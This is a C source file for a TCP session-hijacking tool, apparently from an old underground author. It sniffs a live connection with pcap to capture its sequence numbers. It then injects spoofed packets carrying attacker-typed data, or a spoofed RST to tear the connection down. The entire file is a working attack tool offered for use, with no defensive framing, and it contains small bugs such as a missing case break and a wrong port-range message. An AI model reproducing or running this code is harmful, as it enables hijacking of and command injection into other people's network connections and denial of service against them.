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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <libnet.h>
#include <pcap.h>
#include <signal.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/time.h>
#include <unistd.h>
#define lrandom(min, max) (random()%(max-min)+min)
struct seqack
{
u_long seq;
u_long ack;
};
void
devsrandom(void)
{
int fd;
u_long seed;
fd = open("/dev/urandom", O_RDONLY);
if (fd == -1)
{
fd = open("/dev/random", O_RDONLY);
if (fd == -1)
{
struct timeval tv;
gettimeofday(&tv, NULL);
srandom((tv.tv_sec ^ tv.tv_usec) * tv.tv_sec * tv.tv_usec ^ tv.tv_sec);
return;
}
}
read(fd, &seed, sizeof(seed));
close(fd);
srandom(seed);
}
void
getseqack(char *interface, u_long srcip, u_long dstip, u_long sport, u_long dport, struct seqack *sa)
{
pcap_t *pt;
char ebuf[PCAP_ERRBUF_SIZE];
u_char *buf;
struct ip iph;
struct tcphdr tcph;
int ethrhdr;
pt = pcap_open_live(interface, 65535, 1, 60, ebuf);
if (!pt)
{
printf("pcap_open_live: %s\n", ebuf);
exit(-1);
}
switch (pcap_datalink(pt))
{
case DLT_EN10MB:
case DLT_EN3MB:
ethrhdr = 14;
break;
case DLT_FDDI:
ethrhdr = 21;
break;
case DLT_SLIP:
ethrhdr = 16;
break;
case DLT_NULL:
case DLT_PPP:
ethrhdr = 4;
break;
case DLT_RAW:
ethrhdr = 0;
default:
printf("pcap_datalink: Can't figure out how big the ethernet header is.\n");
exit(-1);
}
printf("Waiting for SEQ/ACK to arrive from the srcip to the dstip.\n");
printf("(To speed things up, try making some traffic between the two, /msg person asdf\n\n");
for (;;)
{
struct pcap_pkthdr pkthdr;
buf = (u_char *) pcap_next(pt, &pkthdr);
if (!buf)
continue;
memcpy(&iph, buf + ethrhdr, sizeof(iph));
if (iph.ip_p != IPPROTO_TCP)
continue;
if ((iph.ip_src.s_addr != srcip) || (iph.ip_dst.s_addr != dstip))
continue;
memcpy(&tcph, buf + ethrhdr + sizeof(iph), sizeof(tcph));
if ((tcph.th_sport != htons(sport)) || (tcph.th_dport != htons(dport)))
continue;
if (!(tcph.th_flags & TH_ACK))
continue;
printf("Got packet! SEQ = 0x%lx ACK = 0x%lx\n", htonl(tcph.th_seq), htonl(tcph.th_ack));
sa->seq = htonl(tcph.th_seq);
sa->ack = htonl(tcph.th_ack);
pcap_close(pt);
return;
}
}
void
sendtcp(u_long srcip, u_long dstip, u_long sport, u_long dport, u_char flags, u_long seq, u_long ack, char *data, int datalen)
{
u_char *packet;
int fd, psize;
devsrandom();
psize = LIBNET_IP_H + LIBNET_TCP_H + datalen;
libnet_init_packet(psize, &packet);
if (!packet)
libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n");
fd = libnet_open_raw_sock(IPPROTO_RAW);
if (fd == -1)
libnet_error(LIBNET_ERR_FATAL, "libnet_open_raw_sock failed\n");
libnet_build_ip(LIBNET_TCP_H + datalen, 0, random(), 0, lrandom(128, 255), IPPROTO_TCP, srcip, dstip, NULL, 0, packet);
libnet_build_tcp(sport, dport, seq, ack, flags, 65535, 0, (u_char *) data, datalen, packet + LIBNET_IP_H);
if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H + datalen) == -1)
libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n");
libnet_write_ip(fd, packet, psize);
libnet_close_raw_sock(fd);
libnet_destroy_packet(&packet);
}
struct seqack sa;
u_long srcip, dstip, sport, dport;
void
sighandle(int sig)
{
printf("Closing connection..\n");
sendtcp(srcip, dstip, sport, dport, TH_RST, sa.seq, 0, NULL, 0);
printf("Done, Exiting.\n");
exit(0);
}
int
main(int argc, char *argv[])
{
char *ifa = argv[1];
char buf[4096];
int reset = 0;
signal(SIGTERM, sighandle);
signal(SIGINT, sighandle);
if (argc < 6)
{
printf("Usage: %s <interface> <src ip> <src port> <dst ip> <dst port> [-r]\n", argv[0]);
printf("<interface>\t\tThe interface you are going to hijack on.\n");
printf("<src ip>\t\tThe source ip of the connection.\n");
printf("<src port>\t\tThe source port of the connection.\n");
printf("<dst ip>\t\tThe destination IP of the connection.\n");
printf("<dst port>\t\tThe destination port of the connection.\n");
printf("[-r]\t\t\tReset the connection rather than hijacking it.\n");
printf("\nCoded by spwny, Inspiration by cyclozine (http://www.geocities.com/stasikous).\n");
exit(-1);
}
if (argv[6] && !strcmp(argv[6], "-r") )
reset = 1;
srcip = inet_addr(argv[2]);
dstip = inet_addr(argv[4]);
sport = atol(argv[3]);
dport = atol(argv[5]);
if (!srcip)
{
printf("%s is not a valid ip.\n", argv[2]);
exit(-1);
}
if (!dstip)
{
printf("%s is not a valid ip.\n", argv[4]);
exit(-1);
}
if ((sport > 65535) || (dport > 65535) || (sport < 1) || (dport < 1))
{
printf("The valid TCP port range is 1-1024.\n");
exit(-1);
}
getseqack(ifa, srcip, dstip, sport, dport, &sa);
if (reset)
{
sendtcp(srcip, dstip, sport, dport, TH_RST, sa.seq, 0, NULL, 0);
printf("\nConnection has been reset.\n");
return 0;
}
/*
* Sending 1024 of zero bytes so the real owner of the TCP connection
* wont be able to get us out of sync with the SEQ.
*/
memset(&buf, 0, sizeof(buf));
sendtcp(srcip, dstip, sport, dport, TH_ACK | TH_PUSH, sa.seq, sa.ack, buf, 1024);
sa.seq += 1024;
printf("Starting hijack session, Please use ^C to terminate.\n");
printf("Anything you enter from now on is sent to the hijacked TCP connection.\n");
while (fgets(buf, sizeof(buf) - 1, stdin))
{
sendtcp(srcip, dstip, sport, dport, TH_ACK | TH_PUSH, sa.seq, sa.ack, buf, strlen(buf));
sa.seq += strlen(buf);
memset(&buf, 0, sizeof(buf));
}
sendtcp(srcip, dstip, sport, dport, TH_ACK | TH_FIN, sa.seq, sa.ack, NULL, 0);
printf("Exiting..\n");
return (0);
} |
